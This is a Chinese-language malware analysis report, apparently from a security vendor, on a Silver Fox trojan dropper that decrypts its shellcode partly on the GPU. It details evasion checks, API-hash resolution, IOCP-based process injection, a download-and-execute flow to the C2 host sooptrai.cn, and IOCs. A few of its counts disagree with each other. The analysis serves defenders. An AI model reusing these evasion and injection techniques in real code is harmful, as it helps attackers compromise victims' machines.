当木马把解密器写进显卡:银狐 Rust 投递器全链拆解

概述

瑞星于2026年9月18日接到用户反馈,称设备上发现疑似银狐木马文件。经详细分析,该文件属于银狐木马,且首次使用GPU参与解密流程,标志着银狐木马载荷保护工程化上的又一次演进

事件详情

该样本伪装成“内部违纪名单”的钓鱼文件诱导用户打开(文件名为2026年第2季度内职人员违纪名单信息.exe),单文件完成“环境校验 → 五层载荷解密 → 服务进程注入 → C2 回连 → 载荷下载”全链。其最显著特征是解密管线延伸至 GPU——载荷以自定义 HFEX 容器内嵌,经 D3D11 compute shader 霍夫曼解码(配合 GPU 渲染基准做环境门控),再经 ChaCha20 稀疏流与 LZNT1 两层处理得到最终 ShellCode,随后 ShellCode 访问C2服务器获取后续恶意载荷

攻击流程

image

样本分析

初始样本分析

字段 内容
原始文件名 2026年第2季度内职人员违纪名单信息.exe
文件大小 441,344 字节
文件MD5 0737E794EA4DB53EF442DBE4E0F3692B
文件类型 PEEXE
病毒名 Trojan.ShellCodeRunner/x64!1.14802

工作流程

image

反分析/反调试

程序主要使用了以下手段来进行反分析/反调试:

手段 实现位置 说明
运行时 AES 字符串解密(每串独立密钥) 0x140016ED0 + 全库 200 调用点 密钥以 movabs 立即数内联在调用点,磁盘无明文
动态 API 解析 0x140016A60 等 静态导入表不含任何业务 API,规避导入表扫描/YARA
反虚拟机 ckbox_main_routine vbox/vmware/hyper-v 字符串比对 + Hyper-V/Virtualization 注册表键
沙箱内存检测 GlobalMemoryStatusEx 调用点 低物理内存为常见沙箱特征
显卡环境检测 msvc_gpu.rs(ddraw/d3d11) 无 GPU/软件渲染环境(沙箱常见)判定
事件日志反取证侦察 事件日志查询模块 监控 1102(日志被清)与 4624 登录——既是侦察也用于感知分析环境
UAC runas 自提权 shell32!ShellExecuteExW(runas) 非管理员时弹出 UAC,保证 SeDebugPrivilege 可用

其中所有的字符串均使用AES-128-ECB加密,解密时每条字符串使用独立硬编码密钥

调用约定(Win x64):
  obfaessse_aes128_ecb_decrypt(rcx=out, rdx=&cipher, r8d=blocks, r9d=blocks,
                               [rsp+0x20]=outlen, [rsp+0x28]=key_lo_u64, [rsp+0x30]=key_hi_u64)
AES key = le64(key_lo) || le64(key_hi)          ← 两个 movabs 立即数,字节序为小端
明文     = AES-128-ECB-Decrypt(key, cipher)      ← 零填充,多为宽字符串(UTF-16LE)

API 动态解析 resolve_api_by_peb_hash @0x140016A60

  • PEBLdrInMemoryOrderModuleList 遍历;模块名/导出名哈希:h = ROL32(h,19) + (c<'a'?c:c-32)
  • 目标哈希 = dword_14003D130[4*slot] - dword_14003D130[4*slot+2] ^ dword_14003D130[4*slot+1](每 API 三常量组合),结果缓存 qword_140050B88[slot]
  • 解析器控制流被编译为 13 个 8 字节操作码的 VMB 字节码状态机(0x6D=遍历加载器/0x10=导出目录/0x06=逐名哈希/0x32=取地址/0x25=下一模块/0xD1/0xCF=条件跳/0xEA=跳转)
  • 全库约 60 组 API(kernel32/ntdll/advapi32/wevtapi/shell32/psapi/user32/ddraw/d3d11)均走此通道,静态导入表仅剩 CRT 依赖。

查找注入目标

字符串全部解密完成后程序开始查找注入目标,按序执行如下操作:

  1. 解密服务名字符串(密文 0x14003D110,36B/2 块)—— 密钥为寄存器中转的静态常量0xBC86F973CCF9F265;明文 = ScheduleTask Scheduler 服务)
  2. advapi32!OpenSCManagerW(null,null,SC_MANAGER_ENUMERATE_SERVICE=5)
  3. EnumServicesStatusExW(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_INACTIVE|STATE_ALL, buf, ...) ← 拿到全部服务及其宿主进程 PID
  4. kernel32!lstrcmpiW 逐条比对记录的 lpServiceName 与解密出的目标服务名
  5. 命中则取 ENUM_SERVICE_STATUS_PROCESSWServiceStatusProcess.dwProcessId(记录偏移 +44 = 8+8+28)→ 写入状态 state+48(即注入目标 PID)
  6. 状态 state+56/+60(服务状态对)为 0 时 → user32!GetSystemMetrics(0)/(1) 填充 = 屏幕宽/高(SM_CXSCREEN/SM_CYSCREEN

此处有一个特殊的虚拟机环境检测:如果屏幕分辨率小于1365x765(即小于常见的1366x768分辨率)且程序没有管理员权限,则会将待注入进程的PID设置为1234,这将导致进程注入失败,整轮注入静默中止

if (!check_admin_and_sid() && (screen_w < 1365 || screen_h < 765)):
    state+48 = 1234   // 哨兵 PID:使 NtOpenProcess 必然失败,整轮注入静默中止

解密ShellCode

目标进程PID选定后程序开始解密准备注入的ShellCode,完整解密流程如下:

磁盘 HFEX 容器(未加密霍夫曼压缩)
  → GPU shader12 霍夫曼解码 → 2758B 任务帧
  → 帧解析 [1B len=32][32B ChaCha key][4B size=2721][2721B ct]
  → CPU ChaCha20 稀疏流 XOR → 2721B LZNT1 压缩流
  → LZNT1 变体解压 → 3321B 最终 shellcode

其中 HFEX 容器是一个自定义的结构

偏移 字段名称 字段内容/含义
+0 magic HFEX
+4 version 2
+8 declen 0xAC6 = 2758(解码后大小)
+12 chunk_size 0x40(与 shader 64 线程组一致)
+16 chunk_count 44 = ceil(2758/64)
+20 rsv / 模式标志 0(标准霍夫曼模式;bit0=1 为未压缩直通)
+24 1008B 有效性掩码区
+1048 256B 霍夫曼码长表
值域 5..11,Kraft 和 = 1.0000(完备码)
+1304 44×16B chunk 表
(bitlen_i, 位流槽偏移_i, 槽大小_i, 0)
+2008 2952B 压缩位流
霍夫曼编码流(未加密)

程序内一共有14个GPU Shader,包含如下功能:

  • shader11:整块 u32 XOR(t0⊕u0→u0 原地写回,无边界处理)
  • shader0:带尾部处理的 u32 XOR(尾块不足 4B 时按字节位宽 bfi 混合)
  • shader2:条件字节计数器(u8×4 展开,与 cb0[0].y 指定字节比较,命中则 atomic_iadd 累加)
  • shader3/8:单缓冲特征扫描器(互为变体:3 按 cb0.y 比对、8 匹配零字节,atomic_umin 记录最早命中线程号)
  • shader4/7:双缓冲比较扫描器(互为变体:4 严格逐字节 ine、7 允许零字节通配)
  • shader6:指定窗口逐字节比较器(cb0.y 窗口长度 + cb0.z 起始偏移,t0/t1 不等即 ret,全等则 atomic_umin
  • shader9/10:大小写归一(9: ‘A’-‘Z’→+32,10: ‘a’-‘z’→-32,u8×4 SIMD 展开,u0 原地写回)
  • shader13:描述符驱动的位级搬运(16B 描述符表 t1 提供偏移,从 t0 提取字节经 atomic_or 组装到 u0)
  • shader5:常量填充(cb0.y 写满 cb0.x 长度)
  • shader1:GPU 预热/时序基准(1024 线程 × 1000 次迭代 sincos/div/frc 浮点链,无输入依赖,结果写 u1——为 ckbox FPS 测量与反模拟检测服务)
  • shader12:被调用的主解码器(ushr 跨 u32 窗口拼接、movc 分支、atomic_or 字节组装、LSB-first 位消费、按 chunk 表槽偏移寻址),位于0x1400409F0,大小 1756B,64 线程 VLD 解码器,44 chunk 并行

配套 CPU 侧函数:

  • sub_140001730DEFLATE 式规范霍夫曼码表构建器(next_code[len]=(next_code[len-1]+cnt[len-1])<<1),输出 256×8B [code,len] 表;
  • sub_140001B20:码字位反转填 GPU 查找表(64K 槽,table[rev_code_16位]=symbol|len<<8)——MSB 规范码转 LSB 消费序;

在完成霍夫曼解码后,GPU 输出内容是一个特殊的任务队列帧协议结构:

sc[0]      = 0x20 (32)          ← pop1 帧长标志
sc[1:33]   = 32B ChaCha key     ← 完整 32B(无需补零)
sc[33:37]  = 0x0AA1 (2721)      ← pop2 密文尺寸
sc[37:2758] = 2721B 密文

随后进入ChaCha20解密(sub_1400100A0

state[0..3]  = 'expa','nd 3','2-by','te k'
state[4..11] = key = 帧1 的 32B(8 words)
state[12]    = counter(首块=1,逐块+1)
state[13]    = 0
state[14,15] = key word0/1(key 前 8 字节复用作 nonce)
输出处理     : 每 64B 块内 i%3==0 字节置零(v90 块内重置、v89 全局累计)
               →"稀疏 keystream" → GPU shader0 u32 粒度 XOR(等价字节级)

在完成解密后,其产出的 2721B 的数据还会进行一次 LZNT1 变体解压,解码器函数位于0x1400108A1:u16 头、0xFFF 长度掩码、组内 [1B flag + LSB-first 位序 + 自适应偏移位宽 12→4 + min_len=3],解压后可得 3321B 的 ShellCode

进程注入

程序将代码注入分成两步走,先注入代码并构造参数,随后在自身的新实例中触发之前注入的代码,整体流程如下:

前置: state+48 = 目标PID(服务枚举所得);SeDebugPrivilege 已启用
步骤1  nt_open_process_0x478(pid): ntdll!NtOpenProcess(&h, 0x478, objattr(48), &pid)
       0x478 = CREATE_THREAD|VM_OP|VM_READ|VM_WRITE|QUERY|DUP_HANDLE
步骤2  find_bytes_in_remote_module @0x140014840(VirtualQueryEx + ReadProcessMemory):
       遍历目标进程 COMMIT 的 MEM_PRIVATE/MAPPED 区,整区读入,
       在区内搜索【解密后 2758B 载荷 v547 的字节特征】(a3=v547, a4=v529=2758)
       —— 即检查目标进程是否已被注入过(幂等性检查/重入标记)
步骤3A 目标已有载荷副本(找到,返回区地址 v541):
       构造 56B 触发参数(memset 0×56; [56]=v541 已有副本地址)
       → iocp_handle_hunter_duplicate @0x140015740(借 IoCompletion 句柄)
       → iocp_queue_completion_trigger @0x140016390(PostQueuedCompletionStatus/
         ZwSetIoCompletion 投递控制码)→ 本轮结束(不重启)
步骤3B 目标无载荷(未找到):
       nt_remote_alloc_write @0x140015400:
         NtAllocateVirtualMemory(h, &base, 0, 72, MEM_COMMIT|RESERVE, PAGE_READWRITE)
         NtWriteVirtualMemory(h, base, v547, v529, &n)   ← 布防:写入 2721B shellcode
       → VirtualAllocEx(h, 0, 72, 0x3000, 4) + WriteProcessMemory(h, remote, 72B 接力结构)
         (接力结构: [0..55]=0, [56..63]=payload 远程地址, [64..71]=0)
       → GetModuleFileNameW(NULL, path, 260) + SHELLEXECUTEINFOW
         (fMask=0x70:NOASYNC|NOCLOSEPROCESS|FLAG_DDEWAIT;lpFile=自身)
       → ShellExecuteExW 重启自身 → 新实例下一轮进入 3A 触发路径
       → 本实例留在 ckbox 轮询循环(成功)/ ExitProcess+BUG 断言(失败)

iocp_handle_hunter_duplicate @0x140015740

  1. NtAllocateVirtualMemory(-1, ..., 0x10000, RW) 准备句柄表缓冲
  2. NtQuerySystemInformation(SystemHandleInformation=16, buf, size, &need)
    0xC0000004(LENGTH_MISMATCH) → 按 need 扩容重试(0x140015FC4 循环)
  3. 遍历 SYSTEM_HANDLE_TABLE_ENTRY_INFO(每项 4×u32):
    entry.dwProcessId == GetProcessId(hTargetProc) → 目标进程全部句柄
  4. DuplicateHandle(hTarget, entry.handle, hSelf, &dup, 0, FALSE, 2=DUPLICATE_SAME_ACCESS)
  5. NtQueryObject(dup, ObjectTypeInformation=2, ...) → 类型名
  6. lstrcmpiW(类型名, 'IoCompletion') == 0 → 命中(解密串 ct=0x14003D000, key 0xB57CE65A2191ADC2
  7. 返回首个命中的 IoCompletion 句柄

iocp_queue_completion_trigger @0x140016390

PostQueuedCompletionStatus(hBorrowed, lpNumberOfBytesTransferred=code(a3), 0, 0)
fallback: ntdll!ZwSetIoCompletion(hBorrowed, code, 0, 0, 0)
(0x1400165B8 / 0x1400165D2 双分支)
code = pperrinfo[0] = 第二次 find_bytes 的输出(=验证读回的接力结构中偏移 56 处的地址值)

ShellCode分析

字段 内容
文件大小 3,321 字节
文件MD5 7159B2E5AB3E10FC81865669B42C6265
文件类型 x64 shellcode

工作流程

image

主要函数及功能

函数入口 函数功能 语义
0x000 入口 stub sub rsp,0x28; call 0x8a0; add rsp,0x28; ret
0x010 resolver(code) PEB 走位 API 哈希解析器:gs:[0x60]Ldr(+0x18)InMemoryOrderModuleList(+0x20)→模块遍历→e_lfanew(+0x3c)→导出目录 Name/AddressOfNames/NameOrdinals/Functions;哈希 = ror13 逐字符累加(小写→大写归一,cmovl+0x20),组合值 = hash(模块导出目录Name) + hash(API名),与 code 比对
0x011c 返回地址 gadget mov rax,[rsp]; ret —— 供 0x404 获取自身代码地址作扫描起点
0x124 RC4 KSA 标准 256 字节 S 盒初始化 + 密钥调度;ctx[0x100]=i、ctx[0x101]=j 状态存 S 盒后
0x23c RC4 PRGA(变体 keystream = S[i] ^ S[j](交换后取异或,非标准的 S[(S[i]+S[j])&0xff]);就地加解密
0x3a0 RC4 封装 key="12345"(栈构造 0x01 0x02 0x03 0x04 0x05),加密下载载荷(回传通道)
0x404 配置定位器 内存特征扫描器:从自身代码地址起按 0x1000 页粒度扫描进程内存,找签名 [0xfe,0xfa,?,?,?,?,?,0xff] 且签名自身 8 字节求和 == 参数(0x708=1800)的结构,返回其地址
0x508 下载主逻辑 见后文
0x8a0 主线程体 见后文

API 哈希表

哈希 API 哈希 API
0xf8b7108d KERNEL32!LoadLibraryA 0xe3c6daca WININET!InternetOpenW
0x9a2800af WININET!InternetConnectW 0x73fa8f41 WININET!HttpOpenRequestW
0xaa02d73e WININET!HttpSendRequestW 0x76577d47 WININET!InternetCloseHandle
0x1bbf63f7 WININET!InternetReadFile 0x722cb4ab WININET!InternetSetOptionW
0x8c3bfc03 WININET!InternetQueryOptionW 0x08590ba7 KERNEL32!Sleep
0xc9f93d32 NTDLL!memcpy 0xca8e9498 KERNEL32!WaitForSingleObject
0xd6d48e5a KERNEL32!CreateThread 0x9e5a8833 KERNEL32!VirtualAlloc
0x38d7f3f2 NTDLL!RtlDecompressBuffer

示例:ROR13("KERNEL32.DLL") + ROR13("LOADLIBRARYA") = 0xf8b7108d

该算法与主样本 resolve_api_by_peb_hashROL19+大小写归一)属于同源算法;差异仅在 ShellCode 内的组合公式为模块哈希+API 哈希求和,主样本为三常量组合

主线程体

  1. 解析 API:WaitForSingleObject/CreateThread/VirtualAlloc/memcpy/RtlDecompressBuffer
  2. rbx = 0x404(0x708) 扫描定位配置结构
  3. rsi = VirtualAlloc(8B)memcpy(rsi, rbx, 8):RC4 密钥 = 签名 8 字节;len = [rbx+8] u32:密文长度
  4. RC4: KSA(ctx, rsi, 8)PRGA(ctx, rbx+0xc, len) ← 就地解密配置密文
  5. r15 = VirtualAlloc(0xa94=2708B)RtlDecompressBuffer(LZNT1, r15, 0xa94, rbx+0xc, &len):解压得配置明文;校验:解压输出长度 == 0xa94,否则终止
  6. r13 = VirtualAlloc(0xaca=2762B):构造发送缓冲
[r13+0..0x32)  = 0x36 字节模板(XOR 0x3a 逐字节混淆,含 0x13009/0xa98/0x2072024 常量字段)
[r13+0x32..0x36) = 4B 随机/计数
[r13+0x36..0x36+0xa94) = 配置明文副本
  1. RC4(key="12345") 加密 r13+0x36 起 0xa94 字节:加密回传数据
  2. rsi = VirtualAlloc(0x400000=4MB);下载缓冲
  3. call 0x508(r15=配置, dx=[r15+0x100]端口, r8=r13=发送缓冲, [rsp+0x20]=rsi):返回下载字节数
  4. 下载成功 → 执行下载载荷(CreateThread

配置结构格式(位于 ShellCode 尾部 0xb90,随本体一体注入):

偏移 内容
+0 签名 8B: fe fa 9d e3 e4 d4 d9 ff(同时是 RC4 密钥)
+8 u32 密文长度 = 0x15d (349)
+0xc 349B RC4 密文(变体 PRGA 解密 → 349B LZNT1 压缩流 → 解压 2708B 配置明文)

本样本中解密出的配置信息

偏移 类型 说明
+0x000 ASCII sooptrai.cn C2 主机名(4 处冗余出现:+0x000/+0x10c/+0x218/+0x324,兼容不同字段偏移读取)
+0x100 u16 8443 C2 端口
+0x430 UTF-16 0917 活动批次标识(对应 2026-09-17 投放日)
+0x670 UTF-16 Google Chrome App Help Viewer 疑似服务名称
+0x864 UTF-16 C:\Program Files\Google\Chrome\Application 侧载目标目录(Chrome 安装目录)
+0x92c UTF-16 NSecRpter.exe 载荷落地文件名
+0x990 UTF-16 vulkan-1.dll 侧载 DLL 名
+0x9f4 UTF-16 vulkan-1.bin 侧载数据文件名

下载主逻辑

  1. 栈构造 wininet.dllresolver(0xf8b7108d)=LoadLibraryA → 加载 wininet
  2. 连续解析 14 个 API
  3. InternetOpenW(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0)
  4. 重试循环(如失败则休眠1秒后重试):InternetConnectW(hInternet, 主机名宽字符, 端口, NULL, NULL, 3, 0, 0)
  5. HttpOpenRequestW(hConnect, "POST", "/", NULL, NULL, NULL, 0x84883000, 0)
  6. HttpSendRequestW(hRequest, "Connection: close\r\n", -1, 发送缓冲, 0xaca)
  7. InternetSetOptionW/InternetQueryOptionW(超时/选项设置)
  8. InternetReadFile 循环 → 4MB 下载缓冲,返回总字节数
  9. InternetCloseHandle × 3

总结

该样本是银狐家族在载荷保护工程化上的一个代表性样本,核心特性可归纳为四点:

  1. 解密逻辑上 GPU:注入载荷的霍夫曼解码由 15 个内嵌 compute shader 完成,CPU 侧仅生成码表与 keystream——配合 shader1 的浮点预热循环做 GPU 真实性基准(FPS>50 门槛),无 GPU 或软件渲染异常的环境直接静默退出,这是“环境即密钥”思路的典型实现。
  2. 五层封装 + 全内嵌:AES-128-ECB 字符串层(195 条,密钥内联调用点)→ HFEX 霍夫曼容器 → 帧协议 → ChaCha20 稀疏流 → LZNT1 变体压缩,层层剥开后 C2 配置(RC4+LZNT1 双层加密,密钥即签名 8 字节)就藏在 shellcode 尾部。
  3. 注入与规避链三层叠加:服务名匹配选定宿主 → 内存扫描确认布防 → IOCP 完成包触发(无远程线程、无 RWX 远程内存)→ PEB 走位哈希解析(无 GetProcAddress)→ 分辨率门控(1366x768)与哨兵 PID 等多层反沙箱检查。
  4. 攻击基础设施短周期:C2 域名注册(9-15)→ 样本编译(9-17)→ 投放(9-18)仅三天间隔

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑文件和邮件,尤其警惕带有密码保护压缩包附件的钓鱼邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知与EDR等行为检测产品。

    网关安全产品可利用威胁情报追溯攻击行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的。同时,EDR产品可通过进程行为、内存注入、网络连接等多维度行为规则进行检测。

  3. 安装有效的杀毒软件。

    杀毒软件可拦截恶意文档和木马病毒。如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护终端安全。

    瑞星目前已可检出此次攻击事件的相关样本。

image

  1. 通用安全建议:及时修补系统补丁和重要软件补丁。

    及时修补系统补丁和重要软件补丁是防御各类攻击的基础措施。

沦陷信标(IOC)

  • MD5

    0737E794EA4DB53EF442DBE4E0F3692B
  • Domain

    sooptrai.cn
  • 瑞星病毒名

    Trojan.ShellCodeRunner/x64!1.14802

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *